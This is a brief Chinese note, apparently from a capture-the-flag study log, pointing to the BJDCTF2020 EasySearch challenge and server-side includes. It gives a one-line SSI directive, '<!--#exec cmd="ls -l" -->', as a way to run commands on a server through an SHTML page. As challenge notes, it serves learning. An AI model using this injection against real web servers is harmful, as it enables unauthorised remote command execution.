参见 [BJDCTF2020]EasySearch 和 服务器端内嵌
总之就是可以利用这个
<!--#exec cmd="ls -l" -->
来执行命令
#Web #HTTP #SHTML #RCE #Misc #shell